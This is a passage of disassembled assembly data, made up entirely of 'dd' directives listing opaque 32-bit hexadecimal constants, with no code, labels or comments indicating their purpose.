		dd 0C5A61A16h, 0AB6BAB9Fh, 823B1923h, 0E842992h, 0B1FBC0D9h
		dd 0E6F7D311h, 0CEB4E001h, 8BB14B57h, 3BBB0FE6h, 65257ED1h
		dd 0E72416AFh, 7B007036h, 0BDB95495h, 0FD288Ah,	0F24D6A1Ch
		dd 0A6AC3A10h, 0DE111E77h, 0F15A21E9h, 0A43B2BE3h, 722109E2h
		dd 77F46C02h, 66D113D5h, 40F2A8C2h, 5925B5FCh, 117CC723h
		dd 0C5F14B86h, 7634AC0Bh, 0CD6EEE21h, 634AF05Eh, 23098872h
		dd 0FC07C9BDh, 2AE158A4h, 27452084h, 854A9095h,	5F5D00DBh
		dd 413953C5h, 0C44A165Ah, 5C30C6CDh, 2B0A45F1h,	73045625h
		dd 25BA50DAh, 0C7C9AED8h, 0D1108EF8h, 0A2003617h, 436C7ECAh
		dd 0C10D7B0Ch, 0E8152A55h, 9B2B5821h, 0C5E18049h, 0EF3F5A5h
		dd 6076F781h, 115659E9h, 9F100055h, 424665B7h, 0F84B5F77h
		dd 9B2E628Dh, 0B13585E5h, 0EE018Ch, 1EC9D18Eh, 0B238530Eh
		dd 0DCC8C509h, 82FF8219h, 9C02806h, 2C7B0B61h, 55203EA8h
		dd 0ECBDEC2Ch, 2665950Ah, 44676DA7h, 79D7834Ch,	0FBA3514Ah
		dd 0AD74845Bh, 1AD78397h, 806DC8F4h, 13C74ECBh,	2D7BEA0Eh
		dd 0AF6AF600h, 0F32DE06Bh, 0B108834Fh, 4C2892Bh, 627A947Bh
		dd 258A567Dh, 0DF00EDB7h, 2878487Ah, 0B7D65ADBh, 626A4A0Bh
		dd 6DB9A400h, 39985A8Bh, 0F156082Fh, 46600143h,	0EC5107D7h
		dd 860B0BA8h, 58CA18A7h, 5B23404Ch, 0C0BC1A97h,	2D29A7D6h
		dd 504F5DBFh, 0DBC1E54Fh, 183A08AEh, 0BAC1022Dh, 76AC42B4h
		dd 0CA17FCCCh, 978DC91Ch, 41E75E83h, 0BA0950E5h, 0A47387D1h
		dd 4482290Ah, 9BF8041Fh, 0C01788EBh, 0A4AD790Ch, 3C818EB9h
		dd 0B3EC8497h, 2B80E52Fh, 92B7AF31h, 6593282Eh,	2CF676BCh
		dd 0A720F86Eh, 1005EEC1h, 347AC8BFh, 0E6FD6CA3h, 3B62E0D8h
		dd 0A3C61627h, 2CB213h,	75CF1944h, 99EDC4h, 8C0459B0h
		dd 9A277F14h, 4AAD9456h, 0BCB853ADh, 0A83C0701h, 1480B9E1h
		dd 0FD3365E5h, 8C937B00h, 24CE0375h, 27B90E09h,	0AD9271A4h
		dd 21222A58h, 0D38B1231h, 0D01EB961h, 57DD4AC5h, 49C0735Bh
		dd 0BD03BB3Ah, 0EB12B54Eh, 9E77B98h, 0D864A69h,	67447C71h
		dd 20BDBC57h, 604EB523h, 49D34DBFh, 7C490FD9h, 0BD196A5Bh
		dd 23D5C382h, 9B54C60Dh, 8DBC39F4h, 74A85902h, 0EB619971h
		dd 963D2EFEh, 0C0A8F329h, 6DCDF01h, 9A99E8Ch, 41F1F30h
		dd 0E91EF337h, 7BA3B83Bh, 0FB80CF01h, 0C18B448Ch, 0E9B8143Dh
		dd 12D2D301h, 24B19D0Bh, 95DDC6Ah, 2DBDB516h, 50D93BD2h
		dd 0C16D95D6h, 0FDF7FFC7h, 99345900h, 2851956Ah, 0D50F8B89h
		dd 0E992318Fh, 5AECBDC1h, 5C7200D6h, 3876DD79h,	0AB31B356h
		dd 0A5D5D45Fh, 0A7E9A72Ah, 0A213FFF0h, 0ADBF0285h, 0F544AA19h
		dd 2F68F5Ch, 3967F5B1h,	0EC7564ADh, 5DBD1097h, 1090252Bh
		dd 1F1118A4h, 79F3CED8h, 0FF4C6616h, 890FBB04h,	0EE52C7F4h
		dd 8C4C9780h, 80F7D9BDh, 33E5FBAAh, 0B558BE2Ch,	0C5EB001Eh
		dd 315F5B6Dh, 1105249Dh, 63024BC2h, 0B7D502D9h,	82169123h
		dd 0E0652A45h, 972EEDB5h, 37559F3Ah, 66AE00F6h,	0BF0C2751h
		dd 0CE548402h, 82D1FF37h, 5C26D9A1h, 2FB2719Ah,	0E0B12AE7h
		dd 1F007A0Dh, 6C2999F3h, 26A2D0Ch, 2770DD5Bh, 0D5710278h
		dd 0A5F084EBh, 0A940077Ch, 0D82E70h, 0D07E66C5h, 56FECC0h
		dd 148D0F13h, 0E80034E7h, 3C98E737h, 9F00E34Bh,	0FFFA6720h
		dd 5AACE45Ah, 0CBCBA850h, 401604BBh, 0E63B53ABh, 301AB210h
		dd 0A9003595h, 8F4D8916h, 0B555BD23h, 2EF92649h, 41DFE038h
		dd 2FCF38A5h, 4007F8C8h, 8A7E6110h, 5BA51A97h, 22D770D9h
		dd 596BD22Fh, 2B698080h, 97CCDC2Dh, 23B35400h, 4349AFF8h
		dd 0F96328DBh, 0C539F8Ah, 1413478h, 0D830148Fh,	2EFC5D27h
		dd 870FEF61h, 4C7CE2Ah,	1F69B529h, 60BF9CFEh, 7AE28B5Eh
		dd 0ED6A611Fh, 0F1A6AA59h, 0A5CBDE25h, 8B69D456h, 2565C6C7h
		dd 99CC611Dh, 4A21F84Bh, 3C30B0F9h, 70E605FEh, 49D59D23h
		dd 1301E4E0h, 2E15A18Dh, 2AD99532h, 2A0D112Ch, 2A40E260h
		dd 6BE80DB8h, 3F32162Eh, 4F13D1C4h, 0A9C4EBE9h,	184E2CAh
		dd 0A4109C62h, 986A5B0Bh, 0D1218DD1h, 0EE602520h, 997EE14h
		dd 0A9672FBBh, 25B6703Eh, 0AB54B5B3h, 81D07125h, 0A01E2319h
		dd 0AD01E9BEh, 8DFB8215h, 3DC60C10h, 0D892199Ch, 0D0F99DE0h
		dd 0BB09A708h, 9472F882h, 0A8FC1644h, 1E733C32h, 9163BEB2h
		dd 137D4844h, 70AE235Dh, 0BBDF81E0h, 55627D12h,	292280E2h
		dd 0E55FB1B0h, 1598921h
		dd 40A58301h, 0E780FE21h, 62B8FB68h, 244CC20h, 98864BB7h
		dd 2E41F479h, 0D8BB093Ah, 0D115B73h, 1C1F4600h,	705FE20Ch
		dd 74FEC401h, 0B92E477Fh, 6AD1F17Eh, 0EEF053A6h, 31036313h
		dd 7E96D646h, 54B8BC80h, 9976E5Fh, 9983BB8Fh, 57608E87h
		dd 21433F2Fh, 1E69F400h, 0AB6E4DAEh, 0F7BF9E01h, 0FC29719Bh
		dd 1085822Ah, 85CA3D56h, 2BB7022Dh, 82ED5DD2h, 0D3D5E9C0h
		dd 0D990021Eh, 5E70F916h, 0C60EC4C6h, 466EF60h,	46E82A68h
		dd 975FF344h, 0D7A14336h, 72E02FFFh, 2B56821Fh,	0DE7C7EA7h
		dd 0A061D305h, 64EC901Bh, 70364487h, 1DC4A54Ah,	186B499Eh
		dd 13F7A47h, 0CC6D6014h, 33B94136h, 0B7530BB2h,	0C9B9D539h
		dd 4A372941h, 0FE896DD9h, 6D710885h, 947ABDD1h,	0F888098Eh
		dd 0F2C425CDh, 7F806ABCh, 0DC0E11B6h, 3227E70Fh, 0DF1F20FCh
		dd 12D5EFE5h, 0E2474479h, 0D6CA897Eh, 11F4F676h, 1DDC6C02h
		dd 4087C071h, 8E2B2D46h, 1FBB7B7h, 239DAF6Ch, 348C2A42h
		dd 5BCDB001h, 0E162612Eh, 605FF51Fh, 8009C8B6h,	73C5204Dh
		dd 66FBA7B9h, 0EE424659h, 98A66A7Dh, 1FECB30h, 24419B31h
		dd 3EE1FFBBh, 0BE8055DBh, 131F23A8h, 0DDB8C212h, 4AB88C1Ch
		dd 529E3AE3h, 6A7AFB04h, 0BC3BA100h, 4A6DFECFh,	0B116C116h
		dd 21454904h, 66E201BCh, 319D3320h, 5873BC28h, 26D31D86h
		dd 60F03CA6h, 0A258D59Eh, 1B17C03Eh, 0FD30F0C9h, 6400C923h
		dd 0A08EDCDh, 0E00B566h, 394770F8h, 4B413F4Dh, 0ABC08460h
		dd 5E41A88h, 95E868DEh,	4300BEA3h, 0A03D31C8h, 717A5867h
		dd 619EF55Fh, 61BC011Fh, 0AA322E14h, 0DD38DD15h, 0D97DBE68h
		dd 0E18E3E04h, 0B6B9DC27h, 32C19D82h, 0D3019514h, 2E90010Bh
		dd 591E60A2h, 1BB7250Dh, 896B8600h, 18262148h, 5A0B02CBh
		dd 9095D1BDh, 4B9D2983h, 687E01E1h, 0C8152C82h,	84D65250h
		dd 0C05FDBEDh, 0A2F7DE2h, 816E7AFFh, 0F51CB90Bh, 5836D280h
		dd 86129ABBh, 80A71D52h, 8BBADA5Ah, 68207677h, 0A7109B0h
		dd 0AD2A1655h, 0A62D6087h, 0C901CF3Dh, 0AB0DDCFCh, 3640E837h
		dd 59BE1BAh, 0F69F911h,	0C142218Bh, 0E95B0024h,	49024F17h
		dd 0F771DACFh, 0DE9A762Dh, 0BECEBD09h, 5C3A00E7h, 951990DEh
		dd 0BD15FD04h, 71F9C91Ch, 0D1D0A7FBh, 652FA1B0h, 0BEE4FB31h
		dd 0B0B70627h, 4E48F000h, 2F0160ACh, 85D4158Dh,	84A38AAh
		dd 204BA9E7h, 71C22200h, 67911F00h, 8C3A7055h, 80394BF2h
		dd 0D2E8BFA7h, 962A3817h, 303A0BE8h, 0DEA5A1F6h, 567CBB35h
		dd 0B2A7E65Fh, 0E5F6301Ch, 5602B1E0h, 4ADAE448h, 896A60F9h
		dd 48C7B531h, 1313B03Ch, 90A9E7h, 0F572C3Ah, 0C43CC39Dh
		dd 82298A3Ch, 5E46696Ch, 627F4884h, 12B1A15Fh, 64F59C10h
		dd 386BC700h, 0BE49701Ah, 416F01C8h, 0EBA011B0h, 741750A1h
		dd 7E0002C4h, 1B55C854h, 0F0DC037h, 7A5F0C47h, 0E8248B4Fh
		dd 39444010h, 9AC61Ch, 4732E6Dh, 99BA590Eh, 251AE707h
		dd 8B155B5Fh, 30B78847h, 4C325769h, 0FF21687Eh,	585F5205h
		dd 30B972FDh, 3414AEFEh, 2CDD85B4h, 8D921079h, 0F780D32Ah
		dd 88C1849Ah, 4DBC8104h, 61C276A4h, 817DD6BDh, 0B350905Bh
		dd 0ADCD297h, 0A00D4BDCh, 618A0C17h, 0A62A23C1h, 3317F25Ah
		dd 5F51CE98h, 9737DE5h,	0ED615B1Fh, 0ECA0C053h,	543F704Fh
		dd 0E38BCBEAh, 33C5F925h, 74254D1Ch, 0E907F4DBh, 0B271FFB7h
		dd 56CD6FD0h, 6A53953Ch, 2E969F8h, 0BD981E4Bh, 7A1D8E93h
		dd 0A2232D7h, 6D09768Bh, 474C06h, 422C9774h, 5613F33Dh
		dd 9D282A12h, 0A4880FF2h, 0C10EEDA5h, 3AE988B9h, 792ED3E1h
		dd 0C02E0F2Dh, 2EF6FD4Ah, 98AC4B86h, 65319D45h,	0C5BDC526h
		dd 61177D73h, 0F24FF61Fh, 7FB13114h, 5BB83C34h,	4C9C04D6h
		dd 4A83B8B4h, 0E0C1049Eh, 2BEA1979h, 0E176BE9Dh, 1363D5A0h
		dd 76FF8604h, 92E87EEAh, 9B33DA80h, 0CD008C6Bh,	0E4BDDB25h
		dd 0EE46F9h, 0A25EBC9Ch, 96BB5662h, 0F08B600Bh,	0F02F5F61h
		dd 0B2B4B632h, 0BA9D301Ch, 0FD9CE500h, 5E0AD0E8h, 0C81340Fh
		dd 4230BF25h, 0FF619509h, 0E1858204h, 3A972778h, 0D9B57F78h
		dd 9EF31201h, 0CE6EF546h, 0E7C709F0h, 89DA0228h, 58315AB5h
		dd 0B8D38A5Fh, 0D37D808Eh, 3D32AC66h, 2681BA43h, 0A3F827CDh
		dd 0C9DA6A5Bh, 0F4C017C8h, 0B46E2C83h, 770A09C1h, 3D97A378h
		dd 0C87B8063h, 0B3C95CA2h, 10690627h, 5B1EC1Fh,	8C085FEAh
		dd 4B9FE8D8h, 4E3AA98h,	2BDB5E27h, 0E5FF3F9h, 0D265BD31h
		dd 0A95A85F6h, 5B3BA879h, 1798B62Ch, 0E7208185h, 8223059Dh
		dd 0C625965Ch, 78DF8674h, 1EB8196Ch, 14C13EAFh,	0A39249B9h
		dd 0B50909AAh, 97AC70F9h, 3CD097DBh, 5B7D7265h,	449F0494h
		dd 291F81A5h, 0D78A2E1Ch, 2FA9BD09h, 0BDD9167Dh, 3F40814Dh
		dd 1230C8Bh, 6EE177E3h,	6CF8D157h, 0C220206Ah, 96750393h
		dd 600008C6h, 0D6403CDFh, 1753D318h, 0EBFD8D2Fh, 3356F617h
		dd 0FC0047A2h, 7F55846Eh, 4800A6BEh, 0F3C589BBh, 95965B17h
		dd 7F045D37h, 2B80623Bh, 4D462DCEh, 1BB83071h, 9E03058Ch
		dd 0C2A20F56h, 0EF821907h, 0BAD51CA5h, 0A6985DE7h, 0EA9DBD0Bh
		dd 51AB5C74h, 94301520h, 57A2EA2h, 13495F31h, 120AF750h
		dd 96F10E2Ah, 595995CCh, 16E8412Ch, 0D55C128Ch,	2163B028h
		dd 94DE6EB5h, 507B2551h, 7F47C2A5h, 6283CF37h, 88CBD5D1h
		dd 97D70FB1h, 7D4A3A94h, 5DB094A7h, 7D04B603h, 9A4179F8h
		dd 78288CAFh, 628B5501h, 5AC534E5h, 6A878338h, 1936A140h
		dd 73C03E79h, 0E5BA1A3h, 0F1BD235Fh, 0D57DF212h, 0B5ACADh
		dd 6390A885h, 69BEF85Ch, 4BC67025h, 5701F22Bh, 0D280E61Eh
		dd 0E9801435h, 0FFF238CEh, 271051ADh, 2F166E49h, 140B56BEh
		dd 0E2E4C1h, 0E9ED14AAh, 0BD522257h, 0F0269527h, 5B064073h
		dd 59815B95h, 0D71819h,	231420F6h, 9BD896Bh, 1349215Eh
		dd 0BCD550D8h, 5800DC41h, 2698E179h, 41BEC0Ch, 8501FA4Ch
		dd 0F448CA9h, 6058022h,	0F34E62BBh, 8B5B1A64h, 0E66196E2h
		dd 0DAFEB5E2h, 0C00AED7Dh, 6DE5AB9h, 6045AE17h,	0A504F184h
		dd 61092A75h, 0CD973378h, 2175C936h, 40FA8EE0h,	0D275F942h
		dd 9F97B0ADh, 0ED81F8E1h, 7E883A50h, 0B5F9BDD7h, 1ABC7882h
		dd 5982E2ECh, 5BDF8580h, 0C0F09B90h, 8CCAE837h,	4EDF16E2h
		dd 0BE8313D9h, 6AFCEC45h, 0C0159BEAh, 0D8B6A48Dh, 0A6CC04FDh
		dd 0FF6A383Eh, 0ABE06730h, 0F3E71DF8h, 0AED901DDh, 0C1BD9F56h
		dd 73322F19h, 6C505EF9h, 0FF25D9EEh, 70D27BD1h,	94974B59h
		dd 387A4545h, 66080FBh,	1C9B448h, 3058EC7Bh, 2BCB375Ch
		dd 27025183h, 0C542FB88h, 8088BDFFh, 325F5423h,	0A80C30C4h
		dd 2111E815h, 5561000Eh, 0B7FE594Ah, 7B07AFFAh,	1F84685Ah
		dd 66F21BB2h, 0D5F92E02h, 1A830075h, 45048049h,	7136E6BDh
		dd 1EF55D5Bh, 0AEEEBB80h, 0E91239E4h, 0DF20E6Bh, 1DB5ECC4h
		dd 5DCC381h, 456614F8h,	0BB3F27F0h, 3524BA97h, 6C418797h
		dd 0CAC03E2Ch, 0F98B6491h, 0B5DB8012h, 959013B0h, 6841B8B1h
		dd 2BC11FCAh, 0DBCB8084h, 0BE9205BCh, 0F825C27Ah, 5B9F1BE6h
		dd 0F57278A3h, 0E291DA25h, 0CB735534h, 454BCD0h, 0E14682C6h
		dd 3D2EC1EFh, 0FF51922Dh, 0C80519Bh, 7453DB4h, 5009CF80h
		dd 0B8FEB3C4h, 0D312D1Ah, 0FDD22453h, 429CD84Eh, 76E4722Dh
		dd 29992589h, 0F7516556h, 0A3F847ADh, 16B0E3CEh, 0FDC1EA00h
		dd 61E654BAh, 0E4DAA870h
		dd 0BA346B71h, 0D4229AB9h, 3D9D0B13h, 0F3817540h, 4B294E31h
		dd 5B93C71Eh, 49D40E8Eh, 0BD15A512h, 2FBCB3Ah, 2008E9C6h
		dd 0EF91D740h, 74A3ECF5h, 0F788A097h, 2D381E2h,	16794CB4h
		dd 0AB80C82Bh, 8B3AF2C7h, 0F380D102h, 0A206E9A1h, 0E4183D71h
		dd 0E9D204Dh, 0EBF8234Bh, 8A88E092h, 220AFD6Bh,	57316523h
		dd 14231F99h, 0CC8027B8h, 3594B863h, 428D9200h,	0ED918514h
		dd 47E934E4h, 0C356A825h, 9D1D9D29h, 2AC18AABh,	0B5125785h
		dd 1EBD2261h, 0A8BC2088h, 0FE3F1BA5h, 698DA550h, 0EAA05B0Fh
		dd 0F1F4F76Fh, 0EE59530h, 0FE38ED04h, 1F46FEEh,	0F5EE9174h
		dd 86E6236Eh, 0C1739594h, 0CD852950h, 0D510AC17h, 55247D09h
		dd 0B75D45BAh, 0B97B0486h, 2591048Ah, 957251Eh,	0DC8ED6B1h
		dd 4AB7CE0Eh, 0C20961A3h, 0F4309A06h, 0C5608904h, 0E25EC661h
		dd 3B49D02Dh, 6E4FCE06h, 0C7EB017Dh, 0F5C5E8B8h, 6100ACDh
		dd 0B601FC9Bh, 3D0352C0h, 643FB14Ah, 8462FC9Ch,	0DFEAB85Bh
		dd 0FC881ADh, 71420E8Fh, 18D1858Bh, 42DE24EBh, 0D22B61ADh
		dd 2A0D5FE0h, 81D1CDB5h, 0A98D31F5h, 0DC642F06h, 0F9522380h
		dd 12284FB8h, 0F47BEE57h, 0A6C8AF00h, 81418B22h, 0D49DB09h
		dd 0BB97B6Dh, 955CBFB7h, 4AB5955Eh, 113E3100h, 16CEBF46h
		dd 40806A0h, 0AA5C7E86h, 354338DEh, 16E13F7h, 0FABDBA2Dh
		dd 890F3955h, 1B888CFh,	16B00E8Ah, 8CECC0F9h, 4FCF9302h
		dd 0D7FCB21Dh, 28A19C35h, 0F25B8380h, 970DAEDEh, 8120616Eh
		dd 0E1FF2627h, 1C250955h, 5BC46B79h, 0E6511257h, 0D5F99243h
		dd 4D196FB8h, 2A06025h,	16F61E15h, 0AD31AA81h, 8B6B0CB1h
		dd 0A1F122BBh, 6EA4EF01h, 2F02107Ah, 0C204CD60h, 0F98572B9h
		dd 9DB3A4FDh, 4BF4854Dh, 60B26484h, 5F38D602h, 585EE236h
		dd 0FEB55525h, 22C6F480h, 0E70BDBEBh, 482F1ED5h, 0B7893A73h
		dd 11E45BFAh, 4F860708h, 0A2D11E6Ah, 9D6BE333h,	0A36A7AB8h
		dd 8F30A100h, 0C515D8Dh, 0F617F0B0h, 0FBB609h, 0CEF94F87h
		dd 109F9006h, 0DBD88h, 0A65B4762h, 5802E683h, 4B13F602h
		dd 5E50D428h, 106447D2h, 1002EE54h, 1BC8EA09h, 70DE5390h
		dd 0A509ED58h, 5D95016Dh, 0E36AFFA5h, 0FCDF0260h, 4C06AC1Ah
		dd 0B5310B7Fh, 0CFD60E15h, 5C276142h, 84507234h, 4981BBE5h
		dd 0E7831634h, 26106726h, 0F466BC12h, 130B4301h, 3E3800Eh
		dd 0B969572Bh, 1234E8B4h, 0ABF8EAB0h, 20096462h, 9C4F68CBh
		dd 0B91FA0E4h, 0C1962471h, 0FB82F2B8h, 0A97FBD0Bh, 5498710Fh
		dd 2F74AE00h, 23E97164h, 0C0895B2Eh, 547CEF0Ah,	0D1979A97h
		dd 2DCAA044h, 277B261Dh, 98DB7A5h, 0EE5EF2F0h, 0BCF70812h
		dd 38E7C85Eh, 63BFFE95h, 0E9F8ACA4h, 0F2A05FF8h, 22907D3Dh
		dd 0C4DF6DBDh, 8712AF28h, 236B6BAAh, 0B0DF001Ah, 0FC7236EFh
		dd 78823F4Eh, 90B2D721h, 7C5040D3h, 4A957333h, 59885B9h
		dd 0FE07551Fh, 9087F652h, 80033759h, 6BB8E070h,	0D10AC04Bh
		dd 0C9B1B52Bh, 91BCA116h, 0FBC8AFA4h, 30E3004Eh, 7CDDCFF1h
		dd 92031221h, 0DA5D4C54h, 3918F8BBh, 0C5B7268h,	0B28A4120h
		dd 0E095D8A6h, 28C2DF60h, 25DE4D94h, 76E26743h,	840B3DFFh
		dd 0BFFA9AF5h, 0F4BD93C3h, 0E2B35F0Fh, 178E076Ah, 34A05B49h
		dd 2D0B9406h, 58FCD832h, 80A9C069h, 0F6B949C7h,	5B61BB99h
		dd 0B60EC0B0h, 463F092h, 3205BEFCh, 0B43FBC02h,	0E7DF4C1h
		dd 8D88B32Ah, 6E7E274Ch, 26310030h, 0F9E9775Bh,	0C9021DD1h
		dd 0AA3D9369h, 524E87Bh, 28F10944h, 4A774B5Eh, 1216DE2Eh
		dd 83A6599Fh, 2F34AAE1h, 88B85F28h, 0F6A5D0B3h,	4AF8A99Fh
		dd 5D6EAAh, 0ECB22988h,	16221741h, 0C5798492h, 0AC54FDD7h
		dd 88168C16h, 0E2B99174h, 7511818Eh, 2626C771h,	0B5097EA1h
		dd 0F6225E8Ah, 470498B2h, 44395C32h, 6C6D20BEh,	0A00F2EFh
		dd 2B5B7A78h, 711B67A7h, 0ABBF2739h, 2A5F2F41h,	14B2AFB6h
		dd 13FBFD33h, 0F2EFCDD4h, 60266077h, 2CB60BBBh,	54197193h
		dd 90BD2BE3h, 16407C81h, 73F12E5Eh, 6E4BB87Ch, 2D7F07C2h
		dd 23C0B628h, 0B009F51Bh, 2AFD4530h, 17234A6Bh,	2C3D0501h
		dd 8348E820h, 0F6CF00C4h, 1B49D7C8h, 285861CBh,	0F09C2678h
		dd 7E9E9B00h, 9E5F35D8h, 0DD4B38D7h, 80BC6C7Dh,	7FD65187h
		dd 0FFF30149h, 36045B5Dh, 25A0EDA9h, 0D87B2E16h, 1611AE0Fh
		dd 1F9902C0h, 309FA09h,	5720559Dh, 16911037h, 13F42982h
		dd 4A8D84FDh, 0AF9237BCh, 0E1878E9Bh, 3266D092h, 0C778CA25h
		dd 77A71E4Ch, 1A2B0F40h, 0BE0305BDh, 81800A71h,	50A251E3h
		dd 9E7EC38h, 71F2195Dh,	3B06778h, 0B73A0997h, 1A998055h
		dd 9A483CA7h, 0B1B6DF09h, 0D6D35E0Ch, 8B121546h, 39550554h
		dd 7675AF01h, 75E03CB6h, 9A07AE95h, 14D20C5h, 0B817087Fh
		dd 11B9293Fh, 0ADE48BC8h, 2550A8FFh, 0E0638319h, 6D7F4AA2h
		dd 79B06B5Eh, 0F6B09A6Ah, 2618FD20h, 1336096h, 7DB9E9BAh
		dd 0C930313Bh, 4C37B88Ch, 0D78A131Dh, 4ED872B4h, 92D59B96h
		dd 0F0BBC4EAh, 65B71496h, 0EE7D7068h, 5E758904h, 52802639h
		dd 12844A54h, 0F6C5B773h, 6B862868h, 4A621497h,	0ECC0BD42h
		dd 0FED90328h, 0DB02D37h, 2F5072A1h, 0E1888h, 1B6EBD75h
		dd 0EF368256h, 0DEBC1C0Bh, 768D09F0h, 5BB93A3h,	65430A15h
		dd 0CBADF88Bh, 5AA54360h, 0E37C12D1h, 80305F70h, 1485DF81h
		dd 2833CC08h, 57C3009Fh, 31476BF7h, 5958D24h, 0C485CD25h
		dd 5D7F6016h, 809497DBh, 97E7484Eh, 3BDC41B1h, 0AE814634h
		dd 742F2EFDh, 7EEB260h,	6C81D8EAh, 92EFD91Bh, 0BB4CF05Bh
		dd 0DEDAD009h, 694B7921h, 2A0060D9h, 195A324Dh,	2E695h
		dd 7C34D644h, 47D36C2Eh, 98E22234h, 0C79628BEh,	5EB8BD00h
		dd 719E64C6h, 0D9EA0403h, 0BCAFE95Bh, 59B4A73h,	494DCB80h
		dd 20173DB1h, 76800355h, 5E8BB5B6h, 16E1C2C1h, 3A3B957h
		dd 8A0DB9F0h, 28537957h, 252B98FCh, 87FE0595h, 0F6085C6Bh
		dd 8ACF9B31h, 0B33A1EA5h, 0E3602D36h, 0F4E9EA0Eh, 24611F04h
		dd 0F030F40Ah, 0C688E4E8h, 0D0F2BBFEh, 0AF023642h, 0CA3B6787h
		dd 117411Dh, 844B7E7Ch,	0C26EBE7Bh, 0FD98A025h,	0EB0F7922h
		dd 616E9B88h, 0B860D992h, 11D699E4h, 96FFA77h, 7FF8B70Fh
		dd 68CB0D12h, 80F39EC5h, 0A502D5FEh, 1247788Ch,	0BD2FAE50h
		dd 8C14ACA5h, 0E8F0FC5Eh, 0A3E59534h, 7B59C2A3h, 0FF87986Eh
		dd 6CB6D15Eh, 0FF4281E5h, 6BA67E64h, 25BD851Ch,	9FC4C679h
		dd 1280F9DFh, 1F055D19h, 2513C538h, 8192E09Fh, 94C013EFh
		dd 0D5ECBC90h, 0CB8E09h, 757DF527h, 25FB00EAh, 7871A5F9h
		dd 0C512078Bh, 6EEF904Bh, 0F3660067h, 0E9256B92h, 0D7811D5Fh
		dd 2EF05F97h, 81D4491Dh, 87C982F4h, 2C8B9E0h, 790BBB66h
		dd 808CD75h, 5225C692h,	6EDA5E1Eh, 7FFC4F81h, 123E4081h
		dd 0F6046A59h, 0B0BC307Ch, 1E0130D3h, 27020157h, 5BFA8B3Ch
		dd 8A5E7490h, 16CD83B3h, 4929CC87h, 66AC115Ah, 0B32A5E1h
		dd 25EB6E5Fh, 0EB575C46h, 0CD70DA7Bh, 2445769Ch, 1132A039h
		dd 90B65A0Ch, 352E7B58h, 251542B2h, 0FE4B27D2h,	415131D8h
		dd 89EF0101h, 31202F17h, 20941CD7h, 0B32705F3h,	319356F9h
		dd 2F10DF1Ah, 43302F4Dh, 0F4022E60h, 0AD064E35h, 533DC08Dh
		dd 2A6B8111h, 10C0562h,	0F0FF30B1h, 2B6E3956h, 202BBBD9h
		dd 7A356CE1h, 77CDF600h, 4A6B691Bh, 0DF012C9Fh,	45FA287Eh
		dd 69D5E202h, 8F44608Ah
		dd 59500C02h, 3E4C5E61h, 90E2DAh, 1E5A79D3h, 1D42A4D9h
		dd 0C0FE8E05h, 0AC131155h, 0E52A8669h, 43004590h, 0CDC2A6E8h
		dd 9D4F350Bh, 6105B3D1h, 8E00C82Bh, 5982E3F1h, 29D1048Bh
		dd 0FE2EF985h, 243FCAD9h, 0EE32FA95h, 0AC6979F9h, 213D086Fh
		dd 9EF78005h, 30AE4B85h, 5E0385C6h, 7FA6BF00h, 6ED57299h
		dd 0D24700C3h, 0C2E2C11Eh, 28B0E0B1h, 7920392Dh, 0D24B38C6h
		dd 0D91196h, 4888E9ADh,	0B8666010h, 618C7517h, 8C2735AFh
		dd 0BB00F776h, 34A6B2EBh, 2517A48Ch, 88E45D0Fh,	84882345h
		dd 0A83F0B31h, 0FE4825A5h, 0EDD30D27h, 7800847Eh, 4B69BD09h
		dd 108BCA0Ah, 0B9924352h, 1C1CA839h, 64996497h,	0AEF9E41Ah
		dd 0F403E6h, 0B22064EAh, 0E612505Dh, 24AE7281h,	0E819E9DCh
		dd 674A0EE3h, 102057C4h, 81F9BBA9h, 0DF22E701h,	0AFB91C21h
		dd 203F2325h, 5A3E0FCh,	7A4837E2h, 1C0AC072h, 0E6C909h
		dd 190201B8h, 94A6122Dh, 0DC176B01h, 5B5610DEh,	0A6A2172Fh
		dd 0AAF2E03Dh, 0D05C12BBh, 20DBECBEh, 0EC59F418h, 0FC42094Ch
		dd 9845820Fh, 9AF3800h,	47887EAh, 0F63173D1h, 0DF9AEA8Ah
		dd 8FC01488h, 4F39B501h, 0A55E431Eh, 2BD9BEFBh,	0F66E6BD2h
		dd 69EE1D03h, 77F1FD40h, 51C87F68h, 5CBA009Ah, 8A4D7221h
		dd 0C84E6E58h, 16FC76B9h, 7B93028Ch, 55D380BEh,	99D1BEC0h
		dd 0E8090790h, 6D0E9C96h, 0A440CE2Ah, 0D50E4830h, 716D9225h
		dd 0FB8317DBh, 9862Ch, 0BEED93CAh, 2D699D33h, 2D046597h
		dd 8A127635h, 0B429BDB0h, 9A57EB3Ah, 6CE87509h,	24C891FCh
		dd 0A36193B1h, 71986230h, 0E9175D21h, 0C6DF8082h, 0C541D550h
		dd 14283A5Fh, 6B38836h,	0A3DFB84Fh, 0CC29B78Eh,	58A7E079h
		dd 0B60197E1h, 0F3525B5h, 80001F22h, 75BF46CFh,	9743A1F3h
		dd 252DBB94h, 703D04h, 90840B76h, 0EB5A544Fh, 4C0FC8h
		dd 7A0FBEA6h, 5A1D2718h, 9B74FA01h, 2EE5BD31h, 35318E2Eh
		dd 0C0037FA9h, 0FD752448h, 41BFE400h, 918B0F0Bh, 0E2521238h
		dd 88300746h, 3230BC26h, 4B03D9C7h, 0BBAFC55Fh,	75024F6Eh
		dd 4D47346Fh, 0BF01C55Eh, 0BA737EBh, 29A6472Fh,	375D0B01h
		dd 0DDC7800Bh, 0C5D42F64h, 9D0B3A09h, 56412BE9h, 1846D671h
		dd 0EE683400h, 816029CEh, 0AF5CE004h, 81836C45h, 0E652DC8Dh
		dd 301BB2EDh, 262CE23Dh, 243A1CB6h, 0DE139E03h,	7BEDB9BDh
		dd 4469DAF6h, 0BBC0004Dh, 4AA9C3Ch, 287764A5h, 0A6B240h
		dd 7FA13104h, 3B8EE6Ah,	409CB2F9h, 0E6E80BF6h, 68019D0Dh
		dd 3895A951h, 802EDF8Bh, 8AAAAE9Bh, 0D7C7DCF3h,	3FAF3312h
		dd 2B05BAB3h, 4925C99Dh, 9979FEE1h, 129D6BA8h, 0A1DA82ECh
		dd 0EDE90414h, 0BD2304F9h, 95BD2F8Dh, 0A29F0D2h, 0E4244DB7h
		dd 0FB596019h, 14291282h, 2D55ECBAh, 0C92B56F8h, 57371A77h
		dd 3C422ABAh, 293930DDh, 1E59258Dh, 0ED9D19ECh,	38C2412Eh
		dd 65E4E8EBh, 11D84BFh,	58BB9600h, 5F174064h, 2A15750h
		dd 67B9FCDAh, 12E40092h, 6B1D0A97h, 0E5EC5B7Dh,	2A319D04h
		dd 0C89ADBABh, 0DBA4C01Ah, 0EB24B412h, 84021005h, 7527598Bh
